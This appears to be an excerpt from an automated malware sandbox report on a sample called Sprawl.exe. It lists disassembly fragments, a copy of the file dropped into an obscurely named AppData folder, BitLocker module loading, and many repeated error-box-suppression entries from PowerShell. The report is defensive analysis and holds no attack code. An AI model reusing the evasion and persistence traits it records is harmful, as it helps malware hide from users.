Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04D2CA78 push eax; mov dword ptr [esp], edx	2_2_04D2CA8C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04D20B35 push ebx; iretd	2_2_04D20B42
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04D2D612 push 00000008h; iretd	2_2_04D2D614
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0785ED60 pushfd ; ret	2_2_0785ED61
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B792300 pushfd ; ret	2_2_0B79231D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75C37E push esp; iretd	2_2_0B75C38E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75EBAF push es; retf	2_2_0B75EBB6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75C38F push esp; iretd	2_2_0B75C3AD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B759074 push eax; ret	2_2_0B7590AC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B759841 push ebx; retf	2_2_0B759843
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B7598F8 pushad ; retf	2_2_0B7598FB
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 8_2_21CE29E0 push eax; ret	8_2_21CE3CA5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 8_2_21CE3C90 push eax; ret	8_2_21CE3CA5

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Agog\Smriti\Sprawl.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\Sprawl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
